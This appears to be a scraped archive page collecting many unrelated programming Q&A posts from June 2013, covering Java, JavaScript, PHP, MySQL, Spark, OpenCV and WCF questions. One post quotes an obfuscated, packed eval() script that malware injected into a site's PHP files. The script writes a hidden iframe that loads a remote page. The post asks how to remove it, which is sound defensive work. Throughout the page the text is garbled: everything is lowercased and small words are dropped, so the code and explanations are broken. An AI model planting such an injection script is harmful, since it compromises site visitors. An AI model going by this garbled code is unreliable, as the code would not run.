Posts

Showing posts from June, 2013

java - type mismatch: cannot convert from int to boolean in lotto program -

i trying make lotto java program. prompt user input number , generate random number , if number matches, win i'm getting "type mismatch: cannot convert int boolean." here's have far. thank help! note i'm new java import java.util.scanner; import java.util.random; public class lottery { public static void main (string [] args) { scanner input=new scanner(system.in); system.out.println("please enter number"); random randomnumber=new random(); system.out.println(" random number "+65); system.out.println("lotto number "+randomnumber.nextint(10)+1); if(65) system.out.println("you win 20000"); else sytem.out.println("no winner"); if(56) system.out.println("you win 10000"); else system.out.println("no winner"); if(6||5) system.out.println("you win 5000"); else system.out.println("no winner");

javascript - HTML5 canvas getImageData() can't work -

when use getimagedata() function data of image chrome, says uncaught indexsizeerror: failed execute 'getimagedata' on 'canvasrenderingcontext2d': source width 0. here code: <!doctype html> <html> <head> <title>canvastest</title> </head> <body> <img src="flower.jpg" hidden /> <canvas id="drawing" width="600" height="532">a drawing of something</canvas> <script type="text/javascript" > var drawing = document.getelementbyid("drawing"); if (drawing.getcontext){ var context = drawing.getcontext("2d"), image = document.images[0], imagedata,data, i,len,average, red,blue,green,alpha; image.onload = function(){ context.drawimage(image,0,0); }; imagedata = context.getimagedata(0,0,image.width,image.height); data = imagedata.data

html - How can i remove an iframe virus from all of php files on my website -

i have problem removing virus code php files. there more 1200 php files in server , every single php file has been infected virus. virus code adding line html output here virus code : <tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.tostring(36)};if(!''.replace(/^/,string)){while(c--){d[c.tostring(a)]=k[c]||c.tostring(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new regexp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|settimeout|k22|k2|http|125||src|height|230|width|board||248|php|58|tag1|ram'.split('|'),0,{}))<

java - Binary search with word prefix string out of bounds -

i have program creates class dictionary, in populates , arraylist of strings words given command line argument(in alphabetical order, different lengths). anyway, need implement binary search prefix in dictionary part of backtracking method. run problems when prefix longer word in dictionary---i tried adjust binary search situation producing incorrect results. don't understand binary search enough fix issue. if don't account issue of prefix being longer word, .substring produces string indexoutofbounds. appreciated. public int searchprefix(string prefixkey){ int minindex=0; int maxindex= newdictionary.size()-1; return searchprefix( prefixkey, minindex,maxindex); } public int searchprefix(string prefixkey, int minindex, int maxindex){ if(minindex>maxindex){ return-1; } int midindex=(maxindex-minindex)/2+minindex; if (prefixkey.length()>newdictionary.get(midindex).length()){ return searchprefix( prefixkey, midindex+1,maxinde

testing - Programatically creating dstreams in apache spark -

i writing self contained integration tests around apache spark streaming. want test code can ingest kinds of edge cases in simulated test data. when doing regular rdds (not streaming). use inline data , call "parallelize" on turn spark rdd. however, can find no such method creating destreams. ideally call "push" function once in while , have tupple magically appear in dstream. atm i'm doing using apache kafka: create temp queue, , write it. seems overkill. i'd rather create test-dstream directly test data without having use kafka mediator. for testing purpose, can create input stream queue of rdds. pushing more rdds in queue simulate having processed more events in batch interval. val sc = sparkcontextholder.sc val ssc = new streamingcontext(sc, seconds(1)) val inputdata: mutable.queue[rdd[int]] = mutable.queue() val inputstream: inputdstream[int] = ssc.queuestream(inputdata) inputdata += sc.makerdd(list(1, 2)) // emulate rdd created during f

c++ - "ld: symbol(s) not found for architecture x86_64" for OpenCV 3 -

i have installed opencv 3 using cmake on mac yosemite. using eclipse ide , while building solution showing error: g++ -l/usr/local/lib -o "test1" ./main.o -lopencv_imgcodecs -lopencv_highgui -lopencv_core undefined symbols architecture x86_64: "cv::videocapture::read(cv::_outputarray const&)", referenced from: _main in main.o "cv::videocapture::videocapture(int)", referenced from: _main in main.o "cv::videocapture::~videocapture()", referenced from: _main in main.o "cv::videocapture::get(int) const", referenced from: _main in main.o "cv::videocapture::isopened() const", referenced from: _main in main.o ld: symbol(s) not found architecture x86_64 clang: error: linker command failed exit code 1 (use -v see invocation) make: *** [test1] error 1 i have added header files , libraries in settings. please me rid of error. in advance code: #include "opencv2/highgui/highgu

javascript - HTML Knockout add FontAwesome icon into table using Unicode -

i have been working knockout , fontawesome couple of days , i'm trying display fontawesome icon using it's unicode. i have list of items called alerts contains different informations alert , 1 icon it. if (alerts.category == 0) alerts['category'] = '&#xf071;'; else if (element.category == 1) alerts['category'] = '&#xf129;'; else if (alerts.category == 2) alerts['category'] = '&#xf024;'; else if (alerts.category == 3) alerts['category'] = '&#xf0e5;'; else if (alerts.category == 4) alerts['category'] = '&#xf017;'; the thing when i'm trying them html page like: <table class="table" id="alertstable"> <tbody data-bind="foreach: alerts"> <tr style: { backgroundcolor: color, color: textcolor }"> <td> <button type="button" class="btn btn-default" da

php - Mysql cannot create foreign key error 121 but doesn't exists -

i have strange problem, i'm trying create foreign key specific name mysql says: " can't create table #sql-85f_169' (errno: 121) " understand name must unique , is, because there no 1 name. complete story: have 16 databases in 1 server (ubuntu server14) multiple web pages same structure, same tables, same different database name. add new database new client, make copy of of 16, download 1 , replace name of database , keep same structure. need add new foreign key table "orders", deleted 2 previous foreign keys, name "order_ibfk_1" , "order_ibfk_2" , added 3 more: alter table `orders` add constraint `order_ibfk_1` foreign key (`id_reception`) references `recepction` (`id_recepction`), add constraint `order_ibfk_2` foreign key (`id_type_order`) references `type_order` (`id_type_order`), add constraint `order_ibfk_3` foreign key (`id_company`) references `company` (`id_company`); i did on every of 16 databases , worked fi

.net - The error says "The ConnectionString property has not been initialized" in c# -

this code combo box want select index show textboxes. private void combobox2_selectedindexchanged(object sender, eventargs e) { try { conn.open(); cmd.connection = conn; string query = "select * guestinfo groomno= '" + combobox2.text + "'"; db.connectdb(); db.da.selectcommand = new oledbcommand(query, db.conn); db.executeqrycommand(query, false); maxrecord = db.ds.tables[0].rows.count; loadrecords(recordcounter); cmd.commandtext = query; dr = cmd.executereader(); while (dr.read()) { textbox1.text = dr["gname"].tostring(); textbox2.text = dr["gcontactno"].tostring(); } conn.close(); } catch (exception er) { messagebox.show("error! " + er.message); } } //my program running not in section. :( you have define connection string connection, here sugges

cakephp - Validate rule in cake php -

i trying validate form on submit not working , form submitted without error. no message displayed in view form. useing below mentioned code in user model public $validate = array( 'fname' => array( 'required' => array( 'rule' => array('notempty'), 'message' => 'a username required' ), 'between' => array( 'rule' => array('between', 3, 15), 'message' => 'between 5 15 characters' ), ), 'email' => array('email' => array( 'rule' => 'email', 'message' => 'email must valid email address!' ), 'unique' => array( 'rule' => 'isunique', 'message' => &#

ember.js - How can I transitionTo a route that includes a model id, from having the id stored in a variable? -

here router.js: import ember 'ember'; import config './config/environment'; var router = ember.router.extend({ location: config.locationtype }); router.map(function() { this.route('category', {path: '/category/:category_id'}); this.route('listing', {path: '/listing/:listing_id'}); }); export default router; i'm trying make when user selects option navbar component, redirected appropriate categories/category_id page. able right id variable in navbar component this.transitionto statement not work. here navbar-header.js: import ember 'ember'; export default ember.component.extend({ model() { return this.store.findall('category'); }, actions: { categoryselected: function(){ debugger; var e = document.getelementbyid("categories"); var catid = e.options[e.selectedindex].value; //i have verified catid contains appropriate id @ point. //where

c# - Parse infix expression while keeping delimiters as array element -

does c# have way me parse this: "(h1+h2+h3)" string array {"(", "h1", "+", "h2", +, "h3", + ")"} ? i implementing shunting-yard algorithm , don't want make work around not having tokens. shunting-yard algorithm edit: wrote own solution private string[] parseexp(string exp) { // @ least long input string string[] parsed = new string[exp.length]; int index = 0; foreach(char c in exp) { if(op.contains(c)) { index++; parsed[index++] += c.tostring(); }else { parsed[index] += c.tostring(); } } array.resize(ref parsed, index + 1); return parsed; } you can try rearrange expression can split using string.split operation in case need know possible symbols expression can have. string input="(h1+h2+h3)"; string news

build.gradle - Gradle > How to deploy a JAR with only its needed dependencies jars to a remote computer -

i new gradle user. task build gradle based project , copy final jar along dependencies jars remote host. my approach local build, , copy dependencies jars caches local directory gradle task, looks like: task copydependencies(type: copy) { configurations.runtime "build/libs/deps" } but task copies dependencies, including transitive dependencies target directory; moreover, runtime group include compile dependencies default. exclude transitive dependencies, takes great amount of space , compile time dependencies jars. there solution? at last plan copy generated jar , dependencies jars remote host means of ssh, guess there should way directly finish means of gradle task faithfully hope can give useful hint you need create fatjar, can find example on how here: building uberjar gradle for copying remote directory can example using ant task here : how copy directory via scp within gradle task? or alternatively can use exec task external tool (scp e

java - Blackjack Game, styling help needed -

introduction hey guys! i'm old programmer hasn't programmed 3 years, , starting java @ university (class has been going 2 weeks now.) i made blackjack program , wondering if there ways cut down code in blackjack class, not sure if it's me seems long , messy . program pretty sloppy, putting in values when needed , hack away @ it. hoping suggestions , changes use them in program , future study in school :) note: hard hit, not soft, less chance player. thank you! run class import java.util.scanner; public class run { // instance variables - replace example below own public static void main (string[] args) { try { blackjack.blackjack(); } catch(exception e) {} } } blackjack class import java.util.scanner; import java.util.objects; public class blackjack { public static void blackjack () throws interruptedexception { // sleep // thread.sleep(x); // total seco

visual studio - "Scope to this" with multiple items in solution explorer -

when select multiple items in solution explorer , right click, cannot find menu item "scope this" longer. is there way of limiting view in solution explorer tree 2 or more separate directories/files? no, can see new solution explorer view menu item next scope this menu. can create multiple scope in multiple solution explorer view.

Why a ruby command runs even if a user don't activate the script yet? -

Image
i'm ruby user, trying make web service receives user's active request. made button, of class "btn-send-alert". after html code, put script function. <div class="page-title"> <button class="btn-send-alert" style="background-color: transparent;">help request</button> <p>hello</p><br> </div> ........ <script> $(".btn-send-alert").click(function(){ alert('hello!'); <% smalier.class_alert(@lesson,current_user).deliver_now %> }); </script> the problem is, ruby code start on own before click button. and if click button, no email delivered longer. maybe in point, think i'm wrong can't find is. there way can make function work correctly? looking forward seeing response! best thanks rich, able write code works fine! below code code. <%= content_tag :div, class: "page-title" %> <

bash - Subtract single largest number from multiple specific columns in awk -

i have comma delimited file looks r,f,te,k,g,r 1,0,12,f,1,18 2,1,17,t, ,17 3,1, , ,1, 4,0,15, ,0,16 there items missing, first row header want ignore. wanted calculate second smallest number in specific columns , subtract elements in column unless value in column minimum value. in example, want subtract second minimum values columns 3 , 6 in example. so, final values be: r,f,te,k,g,r 1,0,12,f,1,1 2,1, 2,t, ,0 3,1, , ,0, 4,0, 0, ,0,16 i tried individually using single columns , giving hand-coded thresholds make second largest awk 'begin {fs=ofs=","; }; { min=1000000; if($3<min && $3 != "" && $3>12) min = $3; if($3>0) $3 = $3-min+1; print} end{print min} ' try1.txt it finds min alright output not expected. there should easier way in awk. begin{ fs=ofs="," } { if(nr==1){print;next} if(+$3)a[nr]=$3 if(+$6)b[nr]=$6 s[nr]=$0 } end{ asort(a,c) asort(b,d) for(i=2;i&l

sql - Create leading zero in Oracle -

i using adempiere has database oracle i have window called stock code table called m_stockcode the fields code , description . currently, code data type number , description varchar2 i want input sparepart code 01 , , body repair code 02 . as input data in adempiere , save it, show sparepart code 1 (without leading zero) i've tried putting lpad function it's still failed. how can put 01 both in adempiere interface , in database? any suggestion appreciated :) a number cannot have leading zero, string can. if want store codes leading zero in database table, must use varchar2 , not number . if want display number leading zero, use to_char convert number string. for example, sql> select to_char(1, '00') dual; to_ --- 01 you use lpad , remember, data type of result string , not number. for example, sql> select lpad(1, 2, '0') dual; lp -- 01

Haskell "transform" function -

i've written imagine common function in haskell, couldn't find implemented anywhere. want of better word i've called "transform". what "transform" 3 arguments: list, , initial state , function takes element list, state, , produces element output list, , new state. output list same length input list. it's kind of "scanl" if took state parameter, or "unfoldr" if feed list. indeed, i've implemented function below, in 2 different ways have same result: transform1 :: (b -> c -> (a, c)) -> c -> [b] -> [a] transform1 f init x = unfoldr f' (x, init) f' ((l:ls), accum) = let (r, new_accum) = f l accum in (r, (ls, new_accum)) f' ([], _) = nothing transform2 :: (b -> c -> (a, c)) -> c -> [b] -> [a] transform2 f init x = map fst $ tail $ scanl f' init' x f' (_,x) y = f y x init' = (undefined, init) this sort of operation seems relatively common though,

Changing Azure web role name? -

is possible change web role name through powershell or other programmatic way without needing change project name itself? need role name change monitoring purpose , changing project name require lot of work modifying build definitions. rename azure cloud service.ps1 import-module azure # download publish settings get-azurepublishsettingsfile # import settings downloaded import-azurepublishsettingsfile "c:\users\<user>\downloads\mysub-date-credentials.publishsettings" # view subscription details get-azuresubscription # select active subscription select-azuresubscription 'mysub' # view cloud services selected sub get-azureservice # update cloud service name/description set-azureservice 'myservicename' 'friendly service name' 'detailed service description'

.net - WPF - Load Control and Resources at design time -

i've assembly contains many xaml files of resource dictionaries. then, i've many assemblies contains wpf custom controls (*.cs files). all resource dictionaries , wpf custom controls coupled @ runtime , works perfectly. also, way, i'm able switch templates @ design time loading different assembly of themes via reflection. the issue: actually, i'm not able see custom control @ design time. the simplest case following: i've custom control (*.cs file only) inherit button class. then, override onapplytemplate method in order load resources loaded @ runtime other assembly, visual studio designer unable render custom control. is there workaround in order see controls @ design time?

c# - Incorrect value when assigning to nullable DateTimes using Immediate Window -

Image
i have following code: using system; namespace consoleapplication1 { class program { static void main() { var foo = new foo { thedate = datetime.now }; console.read(); } } class foo { public datetime? thedate { get; set; } } } i set breakpoint on line console.read(); , using immediate window in visual studio 2015, observe value of foo.thedate : now set value of foo.thedate using immediate window christmas day 1990 (any date suffice, using easy remember example): i see value echo'd me, looks fine. however, when observe value, returned date different: what's happening here? edit: further issue, if use regular datetime (not nullable), , try same example code, on attempting assignment using foo.thedate = new datetime(2012, 12, 25) , immediate window errors system.reflection.targetparametercountexception , message "parameter co

php - Magento Coupon description on invoice -

i want print coupon description on pdf invoice, totals. so edited local copy of: mage/sales/model/order/pdf/abstract.php protected function inserttotals($page, $source, $orderdata){ $order = $source->getorder(); $totals = $this->_gettotalslist($source); //get coupon code , print $discount = $order->getdata('coupon_code'); $page->drawtext($discount, 290, 290, 'utf-8'); i able coupon_code not coupon description. know best way this? thanks in advance!

java - select one column of GridView -

i have gridview 2 columns, arraylist fill out gridview. customadapter handle data between gridview , arraylist. gridview choicemode single in gridview xml file,and can select left column , right column both. want select left column , not right. here gridview design xml : <gridview android:layout_width="fill_parent" android:layout_height="330dp" android:layout_margintop="15dp" android:id="@+id/gridview" android:numcolumns="2" android:layoutdirection="rtl" android:foregroundgravity="center_horizontal" android:gravity="right" android:textdirection="locale" android:background="#e6b800" android:choicemode="singlechoice" android:layout_below="@+id/textview3" android:layout_alignparentleft="true" android:layout_alignparentstart="true"

Can we use XMPP for instant messaging on web and mobile apps? -

i want create instant messaging web application asp.net , mobile app in titanium. can create app using xmpp (e.g. jabber)? my requirement is: if user sends message website, messages shown on mobile, , vice-versa. of course possible. can either js xmpp libraries using bosh or websockets, or server side .net libraries in combination realtime channel signalr.

php - CodeIgniter 3.0.2 does not login with old code -

user_log.php (this controller file) <?php class user_log extends ci_controller { public function __construct() { parent::__construct(); $this->load->model('user_data'); } public function index($msg = null) { $data['msg'] = $msg; $data['title'] = "my real title"; $data['heading'] = "my real heading"; $data['attribute'] = array('name' => 'process'); $data['data'] = array( 'name' => 'username', 'id' => 'username', ); $data['pass'] = array( 'name' => 'password', 'id' => 'password', ); $this->load->view('login', $data); } public function process() { // load model $this->load->model('user_data'); // validate user can login $result = $this->user_data->validate

PHP SOAP Fatal Error -

i'm trying integrate cargo system website. i'm using webservice. but i've error that: "fatal error: uncaught soapfault exception: [wsdl] soap-error: parsing wsdl: couldn't find in " and error show me line: 2 second. , line has code: $client = new soapclient("http://customerservices.araskargo.com.tr/arascargocustomerintegrationservice/arascargointegrationservice.svc"); and here's full code: <?php $client = new soapclient("http://customerservices.araskargo.com.tr/arascargocustomerintegrationservice/arascargointegrationservice.svc"); $queryinfo = "<queryinfo>". "<querytype>2</querytype>". "<date>07.10.2015</date>". "</queryinfo>"; $logininfo = "<logininfo>". "<username>xxx</username>". "<password>xxx</password>". "<customercode>xxx</customercode>". "</loginin

Datepicker in Ajax Modal Pop Up -

i using modal popup on click call form ajax, issue datepicker not working in modal pop + ajax form here code html : <a href="#" data-toggle="modal" data-target="#myid" class="pickupclass">add</a> <div class="modal fade" id="myid" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <form class="form-horizontal form-bordered" method="post" id="form2"> <div class="modal-body"> <div class="panel-body panel-body-nopadding cancelform" style="max-height:400px; overflow:auto;"> </div> </form> </div> </div> ajax code calling form $('a.pickupclass').click(function(){ $.ajax({ type: "post", url: &

c++ - Implementing a ticket lock with atomics generates extra mov -

i wrote naive implementation of simple ticket lock . locking part looks like: struct ticket { uint16_t next_ticket; uint16_t now_serving; }; void lock(ticket* tkt) { const uint16_t my_ticket = __sync_fetch_and_add(&tkt->next_ticket, 1); while (tkt->now_serving != my_ticket) { _mm_pause(); __asm__ __volatile__("":::"memory"); } } then realized rather using gcc intrinsic, can write std::atomic s: struct atom_ticket { std::atomic<uint16_t> next_ticket; std::atomic<uint16_t> now_serving; }; void lock(atom_ticket* tkt) { const uint16_t my_ticket = tkt->next_ticket.fetch_add(1, std::memory_order_relaxed); while (tkt->now_serving.load(std::memory_order_relaxed) != my_ticket) { _mm_pause(); } } these generate almost identical assembly, latter generates additional movzwl instruction. why there mov ? there better, correct way write lock() ? asse

java - how to access parent project's classes in sub project in playFramework 2.3.x -

i using play 2.3.8 , using this gudie create sub project in project created subproject 'mysubproject' , imported project in eclipse parent project myparentproject , mysubproject have 2 questions first -> correct first imported myparentproject in eclipse imported mysubproject second-> in mysubproject can access classes of myparentproject , import packages in mysubproject when want access class/packages of myparentproject not let me show error object not found here build file of root project myparentproject name := """myparentproject""" version := "1.0-snapshot" lazy val root = (project in file(".")).enableplugins(playscala) .aggregate(mysubproject) .dependson(mysubproject) scalaversion := "2.11.1" fork in run := true javaoptions in run ++= seq("-j-xms1g", "-j-xmx2g") val appdependencies = seq( // add project dependencies here, "org.scalatestplus" %%

duplicates - Remove multiple characters from a list if they are next to each other in Scheme -

i have make dr. racket program removes letters list if following same letter itself. example: (z z f b b d d) become (z f b d). have written code remove first letter list. can help? #lang racket (define (remove-duplicates x) (cond ((null? x) '()) ((member (car x) (cons(car(cdr x)) '()))) (remove-duplicates (cdr x)) (else (cons (car x) (remove-duplicates (cdr x)))))) (define x '( b c c d d a)) (remove-duplicates x) (define (remove-dups x) (cond [(empty? x) '()] [(empty? (cdr x)) (list (car x))] [(eq? (car x) (cadr x)) (remove-dups (cdr x))] [else (cons (car x) (remove-dups (cdr x)))])) (cadr x) short (car (cdr x)) in case didn't know. also, pattern matching makes list deconstruction more readable. in case not much, it's still better other version: (define (rmv-dups x) (match x [(list) (list)] [(list a) (list a)] [(cons (cons b)) (rmv-dups (cdr x))] [__ (cons (car x)

javascript - Parse, make promise sync -

their way make parse.promise work sync? know can use chain of promises must make promises receive function work sync. or way wait promise finish join threads. it doesn't appear so. the nature of promises work asynchronously, that's why they're useful. can't think of situation replacing promises synchronous code beneficial, why isn't option. have read of parse's promise documentation bit more info on this.

php - How remove a trailing slash by using htacces -

we have problem. guys. maybe dealt this. appreciated. we decided make new website. every webpage made, stored on server looks this: „example.php” however, didn’t want every single url of ours like: „company.com/example.php”, added code .htcaccess, marked „# cut url”: rewriteengine on # cut url rewritecond %{request_filename} !-d rewritecond %{request_filename} !-f rewriterule ^([^\.]+)$ $1.php [nc,l] # remove trailing slash rewritecond %{request_filename} !-d rewriterule ^(.*)/$ /$1 [l,r=301] works perfectly. removes „.php” part. however there problem. previous version of our website used wordpress, therefore every single link, can found on internet , leads our company’s site, including past blog entries have slash @ end of each url, i.e. „company.com/stuff/„, copied content our new blog, every entry looks „company.com/stuff.php”, using code have specified above, managed remove „.php” part. whenever accesses blog entry, sees „company.com/stuff” , here’s problem. we add i

jquery - Push notifications to client with SignalR,WCF duplex service and ASP.Net generic handler? -

i should use developed wcf duplex service send file specified ip address, have call operations should used notifications in client side, came conclusion use signalr newbie in signalr reason don't know signalr can fit or not. let see codes working on, in asp.net generic handler "sendtoserver" action , using wcf client proxy following: sendclient sendclient = new sendclient(new sendcallback(),new system.servicemodel.nettcpbinding(),new system.servicemodel.endpointaddress(endpointaddress)); sendclient.operationfailed += sendclient_operationfailed; sendclient.operationtimedout += sendclient_operationtimedout; sendclient.sendingfinished += sendclient_sendingfinished; sendclient.connectionclosed += sendclient_connectionclosed; sendclient.connectionrefused += sendclient_connectionrefused; sendclient.instancestored += sendclient_instancestored; sendclient.send(/*array of resources ids*/, /*server instance*/); and event h